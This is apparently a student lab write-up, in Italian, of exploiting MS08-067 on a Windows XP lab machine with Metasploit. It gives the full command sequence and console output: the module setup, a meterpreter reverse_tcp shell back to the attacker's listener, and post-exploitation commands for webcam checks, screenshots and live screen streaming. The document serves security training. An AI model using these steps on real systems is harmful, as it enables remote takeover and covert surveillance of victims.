

Esercizio G3

Sfruttare la Vulnerabilità MS08-067 per ottenere un sessione con Meterpreter.

Per sfruttare la vulnerabilità abbiamo utilizzato Metasploit.

Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit.

Per prima cosa andremo a cercare l'exploit che ci serve. Per fare questo inseriremo il codice della vulnerabilità: in questo caso MS08-067.

```
msf6 > search ms08-067

Matching Modules



| # | Name                                | Disclosure Date | Rank  | Check | Description                                             |
|---|-------------------------------------|-----------------|-------|-------|---------------------------------------------------------|
| 0 | exploit/windows/smb/ms08_067_netapi | 2008-10-28      | great | Yes   | Microsoft Server Service Relative Path Stack Corruption |



Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```

Dopo aver avviato la ricerca, ci viene mostrato un risultato che andremo a utilizzare, essendo l'unico a nostra disposizione.

Da qui in poi andremo a configurare ciò che ci viene richiesto. In questo caso ci viene richiesto RHOSTS (l'unico mancante) ed altri parametri che invece sono già configurati.

```
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.50.103  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSV
  C)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
  thread, process, none)
  LHOST     192.168.50.100  yes       The listen address (an interface ma
  y be specified)
  LPORT     4444             yes       The listen port
```

Con `set rhosts 192.168.50.103` andremo a indicare l'indirizzo IP della macchina che stiamo attaccando.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.103
rhosts => 192.168.50.103
```

Alla fine di questo procedimento, verifichiamo che il tutto sia stato correttamente configurato.

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.50.103  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSV
  C)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
  thread, process, none)
  LHOST     192.168.50.100  yes       The listen address (an interface ma
  y be specified)
```

Se l'exploit è andato a buon fine si aprirà una sessione con Meterpreter.

Nel caso qui presente si può vedere come l'exploit sia andato a buon fine. Per avere la conferma d'essere in connessione con la macchina target, abbiamo fatto **ifconfig** che ci mostra la configurazione di rete. Dopodiché abbiamo utilizzato il comando **webcam_list** per individuare la presenza o meno di telecamere.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.103:445 - Automatically detecting the target ...
[*] Sending stage (175686 bytes) to 192.168.50.103
[*] 192.168.50.103:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.103:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.103:445 - Attempting to trigger the vulnerability ...
[*] Sending stage (175686 bytes) to 192.168.50.103
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.103:1035) at 2022-08-31 13:33:26 +0200

meterpreter > [*] Meterpreter session 2 opened (192.168.50.100:4444 → 192.168.50.103:1036) at 2022-08-31 13:33:26 +0200
ifconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : NIC Fast Ethernet PCI Realtek RTL8139 Family - Miniport dell'Unità di pianificazione pacchetti
Hardware MAC : 8a:28:17:8b:5d:d5
MTU        : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0

meterpreter > webcam_list
[-] No webcams were found
meterpreter > screenshot
Screenshot saved to: /root/zXjdBOHZ.jpeg
```

Infine, abbiamo utilizzato il comando **screenshare** che ci permette di vedere in diretta quello che sta avvenendo sulla macchina target, nel nostro caso Windows XP.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.103:445 - Automatically detecting the target...
[*] 192.168.50.103:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.103:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.103:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.103
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.103:1030) at 2022-08-31 18:25:18 +0200

meterpreter > screenshot
[*] Preparing player...
[*] Opening player at: /home/kali/SmLtlLME.html
[*] Streaming ...
```

